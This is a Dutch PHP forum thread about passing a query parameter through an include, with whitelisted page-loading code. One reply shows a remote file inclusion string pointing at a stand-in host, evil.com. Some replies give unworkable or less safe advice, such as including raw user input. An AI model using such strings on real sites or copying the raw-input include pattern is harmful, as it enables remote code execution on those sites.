login  Naam:   Wachtwoord: 
Registreer je!
 Forum

Via include $_GET['iets'] mee geven?

Offline Nrzonline - 09/04/2006 14:10 (laatste wijziging 09/04/2006 14:10)
Avatar van NrzonlinePHP ver gevorderde Hey mensen,

Hoe kan ik maken dat je via een include van een bestand
ook tegelijk een ?type=iets mee geeft?

zo zou je het moeten zien: (wat natuurlijk niet werkt)
include('file.php'&type=1)..

ik heb het volgende script van tutorial:
  1. <?PHP
  2. if (isset($_GET['page']))
  3. {
  4. if (in_array($_GET['page'], $aPages))
  5. {
  6. if (file_exists($_GET['page'] . '.php'))
  7. include ($_GET['page'] . '.php');
  8. else
  9. {
  10. include ('invalid.php');
  11. }
  12. }
  13. else
  14. include ('invalid.php');
  15. }
  16. else
  17. include ('news.php');
  18. ?>


Nu wil ik maken bij include een ?type=1/2/3/4etc mee geven..

zodat ik meer exacte gegevens kan krijgen over de status van
een pagina (omdat hij niet bestaat o.i.d)
die exacte gegevens geef je weer m.b.v de $_GET['type'], zie code
  1. <?PHP
  2. if (isset($_GET['type']) && is_numeric($_GET['type']))
  3. {
  4. if ($_GET['type'] == 1)
  5. echo "page not found";
  6. if ($_GET['type'] == 2)
  7. echo "page under construction";
  8. if ($_GET['type'] == 3)
  9. echo "page disabled";
  10. }
  11. else
  12. echo "Not found or under construction or disabled";
  13. ?>

9 antwoorden

Gesponsorde links
Offline burdy92 - 09/04/2006 14:13 (laatste wijziging 09/04/2006 14:14)
Avatar van burdy92 HTML interesse misschien zo:

  1. <?php
  2. include("file.php?type=1");
  3. ?>


kweet niet of het zou werken maar je kunt het proberen.
Offline kokx - 09/04/2006 14:16
Avatar van kokx Onbekend
  1. <?PHP
  2. if (isset($_GET['page']))
  3. {
  4. if (in_array($_GET['page'], $aPages))
  5. {
  6. if (file_exists($_GET['page'] . '.php'))
  7. include ($_GET['page'] . '.php');
  8. else
  9. {
  10. include ('invalid.php');
  11. }
  12. }
  13. else
  14. include ('invalid.php');
  15. }
  16. else
  17. include ('news.php');
  18. ?>

niet echt veilig. Als ik nou dit doe:
?page=http://www.evil.com/script.php
??
Offline Simon - 09/04/2006 14:20
Avatar van Simon PHP expert wrm zou dat niet veilig zijn, hij kijkt toch of ie in de array staat...
Offline Nrzonline - 09/04/2006 14:20 (laatste wijziging 09/04/2006 14:23)
Avatar van Nrzonline PHP ver gevorderde dan gebeurt er niets? en als je niet geloofd, try it 
Offline kokx - 09/04/2006 14:22
Avatar van kokx Onbekend owwja niet gezien^^
Je moet het gewoon doen zoals burdy92 zegt.
Offline Nrzonline - 09/04/2006 14:24 (laatste wijziging 09/04/2006 14:28)
Avatar van Nrzonline PHP ver gevorderde op die manier werkt dat nooit, want file "invalid.php?type=1" zou
nooit-te-nimmer bestaan =)

Dus is deze error wel te verwachten
Citaat:
Warning: include(invalid.php?type=1) [function.include]: failed to open stream: No such file or directory in /home/runescapeforum_net/public_html/3d-gamers.nl/index.php on line 170
Offline Ontani - 09/04/2006 14:25
Avatar van Ontani Gouden medailleGouden medailleGouden medailleGouden medaille

-1
da werkt wel maar dan moet je:
include ($_GET['page'] . '.php');
vervangen door:
include ($_GET['page']);
Offline Nrzonline - 09/04/2006 14:28
Avatar van Nrzonline PHP ver gevorderde thnx ontani, ik snap je methode, maar dan moet ik nog wat dingen aanpassen, maar dat doe ik vanaaf wel, kga nu nmlk skaten

thnx all
Offline Rens - 09/04/2006 16:22
Avatar van Rens Gouden medaille

Crew algemeen
Je hoeft helemaal geen $_GET mee te sturen bij een include.
Als je het zo doet:
  1. <?PHP
  2. // eerst de $_GET in een var. zetten
  3. $iType = $_GET['type'];
  4. // daarna includen
  5. include "file.php";
  6.  
  7. // var $iType is nu beschikbaar in file.php
  8. ?>
Gesponsorde links
Dit onderwerp is gesloten.
Actieve forumberichten
© 2002-2024 Sitemasters.be - Regels - Laadtijd: 0.21s